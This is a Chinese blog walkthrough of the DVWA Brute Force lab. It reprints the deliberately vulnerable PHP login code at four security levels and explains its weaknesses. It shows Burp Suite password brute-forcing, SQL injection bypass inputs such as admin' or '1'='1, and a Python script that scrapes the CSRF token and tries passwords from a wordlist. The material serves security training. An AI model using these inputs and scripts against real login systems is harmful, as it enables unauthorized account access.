DVWA-暴力破解（Brute Force）

最新推荐文章于 2024-05-09 10:15:34 发布
最新推荐文章于 2024-05-09 10:15:34 发布
阅读量427 收藏
点赞数
分类专栏： 渗透测试 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qyy970525/article/details/109844455
版权

DVWA-暴力破解（Brute Force）

Brute Force

Brute Force，即暴力（破解），是指黑客利用密码字典，使用穷举法猜解出用户口令，是现在最为广泛使用的攻击手法之一，如2014年轰动全国的12306“撞库”事件，实质就是暴力破解攻击。

图片如下：

在这里插入图片描述

暴力破解有四个级别，我们将对这四个级别的代码进行分析以及对他的漏洞进行利用

LOW

（View Source）服务器的核心代码如下：


<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

可以看到，服务器只是验证了参数Login是否被设置（isset函数在php中用来检测变量是否设置，该函数返回的是布尔类型的值，即true/false），没有任何的防爆破机制，且对参数username、password没有做任何过滤，存在明显的sql注入漏洞。
漏洞利用
方法一：我们可以利用抓包工具（burpsuite）对数据抓包，然后通过工具的字典对密码进行爆破
第一步：抓包

在这里插入图片描述

第二步：点击右键将包复制intruder模块，对密码进行暴力破解，因为我们只对于密码破解所以只有密码是被选中的

在这里插入图片描述

在这里插入图片描述

第三步：选中payloads，载入字典，点击start attack进行爆破

在这里插入图片描述

第四步：尝试在爆破中找到我们想要的结果，这里我们可以看到password的响应包长度（length）“与众不同”，我们就可以拿这个密码去尝试一下

在这里插入图片描述

最后我们去尝试一下我们的答案是不是正确的，很明显我们得到的是正确的密码

在这里插入图片描述

手工的方法手动sql注入
1.在username里面输入：正确的用户名admin’ or ‘1’='1,密码设置为空，成功了

在这里插入图片描述

2.在username里面输入：正确的用户名admin’ #,密码设置为空，成功了

在这里插入图片描述

Medium

服务器端的核心代码

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

相对于low级别的代码，Medium级别的代码主要增加了myql_real_escape_string函数，这个函数会对字符串中的特殊符号（x00，n，r，，'，"，x1a）进行转义，基本上能够抵御sql注入攻击，说基本上是因为查到说 MySQL5.5.37以下版本如果设置编码为GBK，能够构造编码绕过mysql_real_escape_string 对单引号的转义（因实验环境的MySQL版本较新，所以并未做相应验证）；同时，$pass做了MD5校验，杜绝了通过参数password进行sql注入的可能性。但是，依然没有加入有效的防爆破机制（sleep(2)实在算不上）。
漏洞利用
虽然sql注入不在有效，但依然可以使用Burpsuite进行爆破，与LOW级别的爆破方法基本上一样，看上面的爆破方法即可。

High

服务器端核心代码


<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

High级别的代码加入了Token，可以抵御CSRF攻击，同时也增加了爆破的难度，通过抓包，可以看到，登录验证时提交了四个参数：username、password、Login以及user_token。

在这里插入图片描述

每一次服务器返回登录页面中都会包含一个随机的user_token的值，用户每次登陆时都要讲user_token一起提交。服务器收到请求后，会优先做token的检查，再进行sql语句查询，同样，high级别的代码中，使用stripsashes（去除字符串中的反斜杠字符，如果有两个连续的反斜线，则只去掉一个）、mysql_real_escape_string对参数username、password进行过滤、转义，进一步抵御sql注入
漏洞利用
第一步：用抓包工具进行抓包，把包转到intreder里面，进行爆破

在这里插入图片描述

第二步：在测试器中进行一系列的操作

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

最后准备完毕，然后进行爆破，得到那个响应包时间长的，进行手动测试一下。

方法二：可以自己写一个python脚本，仅凭参考

from bs4 import BeautifulSoup
import urllib2
header={        'Host': '192.168.153.130',
		'Cache-Control': 'max-age=0',
		'If-None-Match': "307-52156c6a290c0",
		'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT',
		'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36',
		'Accept': '*/*',
		'Referer': 'http://192.168.153.130/dvwa/vulnerabilities/brute/index.php',
		'Accept-Encoding': 'gzip, deflate, sdch',
		'Accept-Language': 'zh-CN,zh;q=0.8',
		'Cookie': 'security=high; PHPSESSID=5re92j36t4f2k1gvnqdf958bi2'}
requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"

def get_token(requrl,header):
	req = urllib2.Request(url=requrl,headers=header)
	response = urllib2.urlopen(req)
	print response.getcode(),
	the_page = response.read()
	print len(the_page)
	soup = BeautifulSoup(the_page,"html.parser")
	user_token = soup.form.input.input.input.input["value"] #get the user_token
	return user_token

user_token = get_token(requrl,header)
i=0
for line in open("rkolin.txt"):
	requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
	i = i+1
	print i,'admin',line.strip(),
	user_token = get_token(requrl,header)
	if (i == 10):
		break

Impossible

当我们去看服务器端的源代码是，会发现他这个级别的代码加入了可靠的防爆破机制，当检测到频繁的错误登录后，系统会将账户锁定，爆破也就无法继续了。同时采用了更为安全的PDO机制防御sql注入，这是因为不能使用PDO扩展本身执行任何数据库操作，二事情了注入的关键就是通过破坏sql语句结构执行恶意的sql命令
胤哥的博客
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
DVWA-master.zip
01-04
DVWA-master.zip文件包含了整个DVWA项目的源代码和相关资源，是学习和研究网络安全的理想工具。 1. **DVWA的结构与功能** DVWA由多个安全级别组成，包括“低”、“中”、“高”和“不可能”，每个级别都包含不同...
DVWA-master.7z 压缩包
09-14
这个"DVWA-master.7z"压缩包包含了完整的DVWA源代码和其他相关文件，用于在本地环境中搭建一个模拟的脆弱Web应用。 为了正确地使用这个压缩包，首先你需要下载它并使用解压缩工具（如7-Zip）将其解压。解压缩后，你...
DVWA——暴力破解
qq_74806534的博客
01-06 4609
7.payload set和type选择如图，然后加载字典，可以用自己的，也可以用bp自带的字典，我这里选择bp自带的Directories-short.6.选择sniper狙击，然后点击clear$,清除bp自己选择的爆破位置，选择password后面的位置，点击add$.9.然后开始爆破，主要看长度不一样的，显然4765是我们想要的答案，直接点击。10.最后放包，回到dvwa，填写我们爆破的结果，可以看到我们成功了。8.下一步，点击options，先清屏，然后加入字段welcome。
DVWA靶场-Brute Force暴力破解~保姆级教程！！！
最新发布
2301_77360738的博客
05-09 2537
DVWA靶场初体验，超简单的暴力破解！！！
DVWA------Brute Force（暴力破解）
m0_65712192的博客
11-09 1069
DVWA靶场之Brute Force（暴力破解）
结合DVWA-Brute Force（暴力破解）
qq_43660551的博客
04-11 352
Brute Force（暴力破解）：指的是黑客利用密码字典，使用穷举法猜解出用户的口令。 一、Low： 看下核心源码：这里对username、password都未进行过滤，isset()函数只是检查参数是否被设置，返回True或者False。且后面将username、password这两个参数带入数据库查询，故存在SQL注入的漏洞。故有两种方法：（1）抓包用burp suite爆破；（2）手工SQL注入。 1.用burp suite爆破 <?php if( isset( $...
【小白靶场学习】DVWA靶场篇——Burte Force暴力破解
u013569931的博客
11-07 2123
人菜瘾还大的小白靶场修真路
DVWA-Brute Force @ Burpsuite.docx
06-27
DVWA-Brute Force @ Burpsuite.docx
实验1-DVWA部署暴力破解.docx
01-05
利用Kali Linux对DVWA的Brute Force模块展开实验，包括： 1) Low等级、Medium等级的手工破解、自动化破解；（40分） 2) High等级的自己撰写工具自动化破解；（40分） 3) Impossible等级的机制以及修复、防御暴力破解...
DVWA全系列--暴力破解、命令注入、跨站请求伪造
leriger的博客
09-23 462
做之前看代码（view source）如果在username中输入admin' or '1'='1对于$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';就会变成$query = "SELECT * FROM `users` WHERE user = 'admin' or '1'='1' AND password = '$pass';
DVWA--暴力破解
weixin_56440174的博客
06-14 1842
1. Brute Force 暴力破解漏洞原理：暴力破解”是一攻击手段，在web攻击中，一般会使用这种手段对应用系统的认证信息进行获取。其过程就是使用大量的认证信息在认证接口进行尝试登录，直到得到正确的结果。1.Low：绕过方法：使用burpsuite抓包，发送到爆破模块 2.medium：源码分析：利用原理：源码分析后，发现medium相比low多加了一个对于用户名的特殊字符转义，和输入密码的MD5，防止了sql注入，对登陆失败的用户做了一个sleep(2)，还是可以爆破。 3.high源码分析：利用原
dvwa——暴力破解
GZY0601的博客
09-19 176
好啦，这篇文章来讲一下dvwa的暴力破解。暴力破解是一种针对于密码或身份认证的破译方法,即穷举尝试各种可能,找到突破身份认证的一种攻击方法。好啦，这篇暴力破解就到这里了。以上内容为我个人理解，不喜勿喷，如有写错欢迎指出！
dvwa暴力破解
yuysjx的博客
01-26 485
dvwa暴力破解
dvwa_Brute Force(暴力破解) _High
yaowink的博客
05-11 979
dvwa_Brute Force(暴力破解) _High 首先，进入DVWA Security 改impossible为high并提交。返回Brute Force 点击View Source，发现与low的区别在于引入checkToken这条函数 checkToken函数：过滤一些较为低级的爆破 注：之前就用账号和密码两个数值，用checkToken的话，你从服务器上，它会下发一个参数到你的终端，当你用账号密码去登录的时候，实际上是你已经先打开了它这个网站，它会先把这个checkT...
DVWA之暴力破解
Sulli的博客
12-03 482
暴力破解（Brute Force）的意思是攻击者借助计算机的高速计算不停枚举所有可能的用户名和密码，直到尝试出正确的组合，成功登录系统。理论上，只要字典足够大，破解总是会成功的。阻止暴力破解的最有效方式是设置复杂的密码（英文字母大小写、数字、符号混合）。而如果你的字典是从某网站泄露出来的，你使用它试图登陆其他网站，就便是撞库。撞库攻击的成功率高于暴力破解，因为你在A网站的用户名、密码通常和B网站的...
DVWA靶场-Brute Force暴力破解
mlws1900的博客
03-12 1632
具体来说，它使用了mysqli_real_escape_string()函数对用户输入的用户名进行转义，确保特殊字符在SQL语句中不会被误解为SQL语句的一部分，从而保护数据库安全。进入暴力破解的界面，有点基础的都知道，在bp中通过字典，导入用户名和密码进行爆破，这样的操作大家见多了，再写没啥意思，想看的可以去pikachu靶场的暴力破解去了解具体操作，本文主要结合代码进行分析。3.high-高等安全等级，有安全措施保护，是中等安全等级的加深，这个等级下的安全漏洞可能不允许相同程度的攻击。
dvwa-master zip
07-28
dvwa-master zip是一个开源的漏洞脆弱性应用程序，用于进行网络安全测试和漏洞扫描。 具体而言，dvwa-master zip是一个基于PHP和MySQL开发的靶场平台，旨在帮助用户了解和学习网络安全漏洞。它模拟了多种常见的Web应用程序漏洞，如SQL注入、XSS跨站脚本攻击、命令执行等，用户可以通过对这些漏洞进行测试和攻击来提高自己的网络安全意识和技能。 dvwa-master zip的安装非常简便，只需将其解压到服务器的Web目录下，并配置好数据库连接信息即可。一旦安装完成，用户就可以通过浏览器访问dvwa-master zip的前端界面，并开始进行安全测试和漏洞扫描。 dvwa-master zip提供了多个不同的安全级别，从易到难，供用户选择。在低级别中，漏洞和脆弱性的例子会更为简单和明显；而在高级别中，这些漏洞将会更加难以察觉和利用，需要用户具备更高的技术水平。 通过dvwa-master zip，用户可以模拟和测试真实的网络安全风险，学习如何防范和修复相关漏洞。它对于安全工程师、渗透测试人员、Web开发人员等具有较高的教育和培训价值。值得注意的是，dvwa-master zip仅用于合法的安全研究和学习目的，未经授权的攻击行为是不被允许的。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值